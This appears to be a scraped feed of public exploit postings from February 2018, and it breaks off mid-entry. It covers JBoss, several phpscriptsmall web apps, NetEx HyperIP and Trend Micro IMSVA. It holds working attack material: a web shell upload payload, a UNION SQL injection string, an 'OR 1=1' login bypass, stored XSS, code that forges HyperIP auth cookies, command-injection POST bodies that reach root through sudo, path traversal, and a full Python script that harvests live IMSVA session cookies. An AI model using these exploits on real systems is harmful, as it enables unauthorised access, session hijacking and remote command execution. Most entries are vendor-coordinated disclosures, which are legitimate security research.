stay tuned
Stefan Kanthak


Timeline:
~~~~~~~~~

2017-09-02 vulnerability report sent to vendor

2017-09-03 reply from vendor: "MSRC case 40550 opened"

2017-09-06 notification from vendor's case manager: "report passed
to product group for investigation"

2017-10-27 reply from vendor's case manager:

"The engineers provided me with an update on this case.
They've reviewed the code and were able to reproduce
the issue, but have determined that the fix will be
implemented in a newer version of the product rather
than a security update. The team is planning on shipping
a newer version of the client, and this current version
will slowly be deprecated. The installer would need a
large code revision to prevent DLL injection, but all
resources have been put toward development of the new
client."

2018-02-09 report published



JBoss 4.2.x / 4.3.x Information Disclosure

$
0
0

JBoss versions 4.2.x and 4.3.x suffer from an information disclosure vulnerability.


MD5 | 9f5131c1a5b01b84f7ba7060af142e67

# Exploit Title: JBoss sensitive information disclosure 4.2X & 4.3.X
# Date: 02/08/2018
# Exploit Author: JameelNabbo
# Vendor Homepage: http://www.jboss.org <http://www.jboss.org/>
# Software Link: http://jbossas.jboss.org/downloads <http://jbossas.jboss.org/downloads>
# Version: 4.2X. & 4.3.X
# Tested on: Linux Ubuntu
# CVE : CVE-2010-1429




1. Description

By requesting the Status param and sitting its value to true, Jobss will print a sensitive information such as Memory used/Total Memory / Client IP address.
Example: http://127.0.01/status?full=true


2. Proof of Concept

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>


int socket_connect(char *host, in_port_t port){
struct hostent *hp;
struct sockaddr_in addr;
int on = 1, sock;

if((hp = gethostbyname(host)) == NULL){
herror("gethostbyname");
exit(1);
}
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));

if(sock == -1){
perror("setsockopt");
exit(1);
}

if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
perror("connect");
exit(1);

}
return sock;
}

#define BUFFER_SIZE 1024

int main(int argc, char *argv[]){
int fd;
char buffer[BUFFER_SIZE];

if(argc < 3){
fprintf(stderr, "Usage: %s <hostname> <port>\n", argv[0]);
exit(1);
}

fd = socket_connect(argv[1], atoi(argv[2]));
write(fd, "GET /status?full=true\r\n", strlen("GET /status?full=true\r\n")); // write(fd, char[]*, len);
while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
fprintf(stderr, "%s", buffer);
}

shutdown(fd, SHUT_RDWR);
close(fd);
return 0;
}


3. Solution :
Update to version 4.2.3 or later


Facebook Clone Script 1.0.5 Cross Site Scripting

$
0
0

Facebook Clone Script version 1.0.5 suffers from a persistent cross site scripting vulnerability.


MD5 | f8a51b158602c9d1aed55a4736d10031

######################################################################################
# Exploit Title: Facebook Clone Script 1.0.5 - Stored XSS
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/naukri-clone-script/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 1.0.5
# Tested on: Linux Mint
# CVE: CVE-2018-6858
#######################################################################################

Proof of Concept
=================
1. Login as a user
2. Goto "Comment" option of any post
3. Put "<script>alert("PKP")</script>" as comment
4. You will be having a popup "PKP"


Schools Alert Management Script 2.0.2 Arbitrary File Upload / Remote Code Execution

$
0
0

Schools Alert Management Script version 2.0.2 suffers from code execution and remote file upload vulnerabilities.


MD5 | e9f0ef105c5c61f02c39346e049324cb

#################################################################################################################
# Exploit Title: Schools Alert Management Script - 2.0.2 - Arbitrary File Upload / Remote Code Execution
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 2.0.2
# Tested on: Linux Mint
# CVE: CVE-2018-6860
##################################################################################################################

Proof of Concept
=================
1. Login as Student/Parent
2. Go to "Edit Profile" to upload profile picture.
3. Once you find upload section, upload following code as a PHP file:
<?php
if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }
?>
4. Try to access given PHP file : [site.com]/malicious.php?cmd=ls



Naukri Clone Script 3.0.3 SQL Injection

$
0
0

Naukri Clone Script version 3.0.3 suffers from a remote SQL injection vulnerability.


MD5 | f484d627a368b58ae8207561caf79df8

# Exploit Title: Naukri Clone Script 3.0.3 - 'indus' SQL Injection
# Dork: N/A
# Date: 2018-02-08
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://www.phpscriptsmall.com/product/naukri-clone-script/
# Version: 3.0.3
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands.
# # # # #
# Proof of Concept :

SQLi:

#
http://localhost/jobsite-advanced/searchresult.php?searchindus&indus=[SQL]

# Parameter : indus (GET)
# Type: UNION QUERY
# Title: Generic UNION query (NULL) - 51 columns
# payload : UNION SELECT
NULL,NULL,NULL,/*!00000Concat(0x3C62723E,version(),0x3C62723E,user(),0x3C62723E,database())*/,NULL,NULL,NULL,/*!00000group_coNcat(0x3C62723E,table_name,0x3a,column_name)*/,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/*!00000from*/ information_schema.columns where table_schema=database()%23


Lawyer Search Script 1.0.2 Cross Site Scripting

$
0
0

Lawyer Search Script version 1.0.2 suffers from a persistent cross site scripting vulnerability.


MD5 | 24d052a41c4bd375db805a94d81d1106

#################################################################################################################
# Exploit Title: Lawyer Search Script - 1.0.2 - Stored XSS
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/lawyer-script/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 1.0.2
# Tested on: Linux Mint
# CVE: CVE-2018-6861
##################################################################################################################

*Proof of Concept*

1. Login into site
2. Goto "Edit Profile"
3. Put "<script>alert("PKP")</script>" in any field
4. You will be having a popup "PKP"


Bitcoin MLM Software 1.0.2 Cross Site Scripting

$
0
0

Bitcoin MLM Software version 1.0.2 suffers from a persistent cross site scripting vulnerability.


MD5 | c8f316b16f2d69b85d3b90c2378ffb9b

########################################################################
# Exploit Title: Bitcoin MLM Software 1.0.2 - Stored XSS
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/bitcoin-mlm/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 1.0.2
# Tested on: Linux Mint
# CVE: CVE-2018-6862
##########################################################################

*Proof of Concept*

1. Login into the site
2. Goto "Edit Profile"
3. Put "<script>alert("PKP")</script>" in any field
4. You will be having a popup "PKP"


NetEx HyperIP 6.1.0 Authentication Bypass

$
0
0

NetEx HyperIP version 6.1.0 suffers from an authentication bypass vulnerability.


MD5 | 277d52048cffd60814568116ed7bd4b4

KL-001-2018-002 : NetEx HyperIP Authentication Bypass

Title: NetEx HyperIP Authentication Bypass
Advisory ID: KL-001-2018-002
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-002.txt


1. Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-592: Authentication Bypass Issues
Impact: Authentication Bypass
Attack vector: HTTPS

2. Vulnerability Description

Authentication for the management application can be bypassed
by recreating the algorithm used to create predictable valid
cookies.

3. Technical Description

Authentication can be bypassed using the function below.

>>> from hashlib import md5
>>> from hmac import new
>>> def bypass_auth(user,srcip):
... key = new('$#^Sub/s$',user+srcip,md5).hexdigest()
... token = new(key,user+srcip,md5).hexdigest()
... return token
...

The attacker first creates a cookie token.

>>> print bypass_auth('hipadmin','[redacted]')
b6b73844ce4df64f459948c5475a1096

Then the attacker can submit requests containing that value as
the auth-token cookie, which will be trusted by the application.

4. Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt


NetEx HyperIP 6.1.0 Post-Auth Command Execution

$
0
0

NetEx HyperIP version 6.1.0 suffers from a post-authentication command execution vulnerability.


MD5 | 80d93fa64c37b062c3c6cc3a74d00cdf

KL-001-2018-003 : NetEx HyperIP Post-Auth Command Execution

Title: NetEx HyperIP Post-Auth Command Execution
Advisory ID: KL-001-2018-003
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-003.txt


1. Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command, CWE-250: Execution
with Unnecessary Privileges
Impact: Arbitrary Command Execution
Attack vector: HTTPS

2. Vulnerability Description

A command injection vulnerability can be leveraged to execute
operating system commands.

3. Technical Description

A POST variable is handled unsafely, allowing execution of arbitrary
commands with the privileges of the webserver process. In the below
example, set_val= is used to copy an existing executable file into
a writable directory.

POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

set_id=msglvl&set_val=$(cp /etc/profile.d/which-2.sh /var/ftp/pub/updates/a.run)&perm=on&submit=Set

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 07:20:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1057
Connection: close
Content-Type: text/html; charset=UTF-8

4. Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt


NetEx HyperIP 6.1.0 Privilege Escalation

$
0
0

NetEx HyperIP version 6.1.0 suffers from a privilege escalation vulnerability.


MD5 | fee902572b3925955cbd9d64820c62f9

KL-001-2018-004 : NetEx HyperIP Privilege Escalation Vulnerability

Title: NetEx HyperIP Privilege Escalation Vulnerability
Advisory ID: KL-001-2018-004
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-004.txt


1. Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-592: Authentication Bypass Issues
Impact: Privilege Escalation
Attack vector: HTTPS

2. Vulnerability Description

Privileges can be escalated by abusing writable paths found
within the sudoers configuration file.

3. Technical Description

The run script is modified with the attack payload.

POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

set_id=msglvl&set_val=$(echo /usr/bin/id >> /var/ftp/pub/updates/a.run)&perm=on&submit=Set

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 07:21:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1048
Connection: close
Content-Type: text/html; charset=UTF-8

The attack payload can now be executed.

POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

set_id=msglvl&set_val=$(sudo /var/ftp/pub/updates/a.run >> /tmp/a.output)&perm=on&submit=Set

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:06:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1020
Connection: close
Content-Type: text/html; charset=UTF-8

The output can now be read from the a.output file, which is a
separate arbitrary file read issue detailed in KL-001-2018-005.

GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:07:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 502
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<meta HTTP-EQUIV="Expires" CONTENT="0">
<link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
</head>
<body class="dsp">

<H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1>
<pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
</pre>
</body>
</html>

4. Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt


NetEx HyperIP 6.1.0 Local File Inclusion

$
0
0

NetEx HyperIP version 6.1.0 suffers from a local file inclusion vulnerability.


MD5 | dc0775578f64cf741c26e424c44b03f5

KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability

Title: NetEx HyperIP Local File Inclusion Vulnerability
Advisory ID: KL-001-2018-005
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-005.txt


1. Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-73: External Control of File Name or Path, CWE-592: Authentication Bypass Issues
Impact: Arbitrary Filesystem Reads
Attack vector: HTTPS

2. Vulnerability Description

Local files can be included within the HTTP response given
by logs.php

3. Technical Description

Any arbitrary file, such as the one created in KL-001-2018-004, can
be returned by the logs.php script.

GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:07:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 502
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<meta HTTP-EQUIV="Expires" CONTENT="0">
<link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
</head>
<body class="dsp">

<H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1>
<pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
</pre>
</body>
</html>

4. Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt



Trend Micro IMSVA Management Portal 9.1.0.1600 Authentication Bypass

$
0
0

Trend Micro IMSVA Management Portal version 9.1.0.1600 suffers from an authentication bypass vulnerability.


MD5 | d82d45e882b2eb1faa1bb688364f31a9

KL-001-2018-006 : Trend Micro IMSVA Management Portal Authentication Bypass

Title: Trend Micro IMSVA Management Portal Authentication Bypass
Advisory ID: KL-001-2018-006
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-006.txt


1. Vulnerability Details

Affected Vendor: Trend Micro
Affected Product: InterScan Mail Security Virtual Apppliance
Affected Version: 9.1.0.1600
Platform: Embedded Linux
CWE Classification: CWE-522: Insufficiently Protected Credentials, CWE-219: Sensitive Data Under Web Root
Impact: Authentication Bypass
Attack vector: HTTPS

2. Vulnerability Description

Any unauthenticated user can bypass the authentication process.

3. Technical Description

The web application is plugin-based and allows widgets to
be loaded into the application. A plugin which is loaded by
default stores a log file of events in a directory which can be
accessed by unauthenticated users. Files within this directory
(such as /widget/repository/log/diagnostic.log) which contain
cookie values can then be read, parsed, and session information
extracted. A functional exploit is shown below.

4. Mitigation and Remediation Recommendation

Trend Micro has released a Critical Patch update to the
affected versions for this vulnerability. The advisory and
links to the patch(es) are available from the following URL:

https://success.trendmicro.com/solution/1119277

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.08.11 - KoreLogic submits vulnerability details to Trend Micro.
2017.08.11 - Trend Micro confirms receipt.
2017.09.15 - KoreLogic asks for an update on the triage of the
reported issue.
2017.09.15 - Trend Micro informs KoreLogic that the issue is in
remediation but there is no expected release date yet.
2017.09.25 - 30 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.10.06 - Trend Micro informs KoreLogic that the issue will not
be addressed before the 45 business-day deadline. They
ask for additional time for the details to remain
embargoed in order to complete QA on the proposed fix.
2017.10.06 - KoreLogic agrees to extend the disclosure timeline.
2017.10.17 - 45 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.11.02 - Trend Micro notifies KoreLogic that the Critical Patch
for IMSVA 9.1 (Critical Patch 1682) has gone live,
but they are still working on the patch for IMSVA 9.0.
2017.11.07 - 60 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.12.21 - 90 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.12.28 - Trend Micro notifies KoreLogic that the IMSVA 9.0
Critical Patch is being localized for foreign language
customers. Expected release date is late January 2018.
2018.01.18 - Trend Micro notifies KoreLogic that the expected release
date for the IMSVA 9.0 Critical Patch and the advisory
is to be January 31, 2018.
2018.01.23 - 110 business days have elapsed since the vulnerability
was reported to Trend Micro.
2018.01.31 - Trend Micro releases the advisory associated with this
vulnerability and the related Critical Patches.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

#!/usr/bin/python3


from argparse import ArgumentParser
from ssl import _create_unverified_context
from time import mktime
from urllib.request import HTTPSHandler, HTTPError, Request, urlopen, build_opener


banner = '''Trendmicro IMSVA 9.1.0.1600 Management Portal Authentication Bypass
{}'''.format('-'*67)


class Exploit:
def __init__(self, args):
self.target_host = args.host
self.target_port = args.port
self.list_all = args.ls
self.sessions = []
self.session_latest_time = None
self.session_latest_id = None
self.sessions_active = []
return None

def is_target(self):
url_loginpage = Request('https://{}:{}/loginPage.imss'.format(self.target_host, self.target_port))
url_loginjsp = Request('https://{}:{}/jsp/framework/login.jsp'.format(self.target_host, self.target_port))
if urlopen(url_loginpage, context=_create_unverified_context()).getcode() == 200:
try:
urlopen(url_loginjsp, context=_create_unverified_context())
except HTTPError as e:
if e.code == 403:
return True
else:
return False
return False

def get_sessions(self):
url_vulnpage = Request('https://{}:{}/widget/repository/log/diagnostic.log'.format(self.target_host,
self.target_port))
vuln_obj = urlopen(url_vulnpage, context=_create_unverified_context())
if vuln_obj.getcode() == 200:
vuln_pagedata = vuln_obj.read()
for line in vuln_pagedata.decode('utf8').split('\n'):
if 'product_auth' in line and 'JSEEEIONID' in line:
self.sessions.append((line.split(',')[0], line.split(',')[-1].split('')[1].split(':')[1]))
else:
return False
return True

def find_latest(self):
for session in list(set(self.sessions)):
year, month, day = session[0].split('')[0].split('-')
hour, minute, second = session[0].split('')[1].split(':')
session_time = mktime((int(year), int(month), int(day), int(hour), int(minute), int(second), 0, 0, 0))
if self.session_latest_time is None:
self.session_latest_time = session_time
if session_time > self.session_latest_time:
self.session_latest_time = session_time
self.session_latest_id = session[1]
if self.list_all:
if self.is_session_alive():
self.sessions_active.append((self.session_latest_time, self.session_latest_id))
return True

def is_session_alive(self):
url_consolepage = Request('https://{}:{}/console.imss'.format(self.target_host, self.target_port))
opener = build_opener(HTTPSHandler(context=_create_unverified_context()))
opener.addheaders.append(('Cookie', 'JSESSIONID={}'.format(self.session_latest_id)))
console_obj = opener.open(url_consolepage)
if console_obj.getcode() == 200:
console_pagedata = console_obj.read().decode('utf8')
if 'parent.location.href="/timeout.imss"' in console_pagedata:
return False
else:
return False
return True

def run(self):
if self.is_target():
if self.get_sessions():
print('[-] Leaked {} sessions'.format(len(self.sessions)))
self.find_latest()
if self.list_all and self.sessions_active:
print('[+] Active sessions leaked.')
sessions = []
for entry in list(set(self.sessions_active)):
sessions.append(entry[1])
for session in list(set(sessions)):
print('Set-Cookie: JSESSIONID={}'.format(session))
elif self.is_session_alive():
print('[+] Active session leaked.')
print('Set-Cookie: JSESSIONID={}'.format(self.session_latest_id))
return True
else:
print('[-] {} sessions leaked but none are active.'.format(len(self.sessions)))
return False
else:
return False
else:
return False
return False


if __name__ == '__main__':
print(banner)
arg_parser = ArgumentParser(add_help=False)
arg_parser.add_argument('-H', '--help', action='help', help='Help')
arg_parser.add_argument('-h', '--host', default=None, required=True, help='Target host')
arg_parser.add_argument('-p', '--port', default=8445, type=int, help='Target port')
arg_parser.add_argument('-l', '--ls', action='store_true', default=False, help='List all sessions (noisy)')

args = arg_parser.parse_args()

Exploit(args).run()


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt


Select Your College Script 2.0.2 Authentication Bypass

$
0
0

Select Your College Script version 2.0.2 suffers from an authentication bypass vulnerability.


MD5 | bba3e3b5a0aff683b276373acd2a7be5

######################################################################################
# Exploit Title: Select Your College Script - 2.0.2 - Authentication Bypass
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link:https://www.phpscriptsmall.com/product/select-your-college-script/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 2.0.2
# Tested on: Linux Mint
# CVE: CVE-2018-6863
#######################################################################################

Proof of Concept

1. Goto login page
2. put [admin' OR '1' = '1] as user and password field
3. You will be logged in as an authenticated user


Multi Religion Responsive Matrimonial 4.7.2 Cross Site Scripting

$
0
0

Multi Religion Responsive Matrimonial version 4.7.2 suffers from a persistent cross site scripting vulnerability.


MD5 | c06076acc62d5cf5cb9cee36808810d2

#################################################################################################################
# Exploit Title: Multi religion Responsive Matrimonial - 4.7.2 - Stored XSS
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link:
https://www.phpscriptsmall.com/product/multireligion-responsive-matrimonial/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 4.7.2
# Tested on: Linux Mint
# CVE: CVE-2018-6864
##################################################################################################################

*Proof of Concept*

1. Login into site
2. Goto "Edit Profile"
3. Put "<script>alert("PKP")</script>" in any field
4. You will be having a popup "PKP"


Multi Language Olx Clone Script 2.0.7 Cross Site Scripting

$
0
0

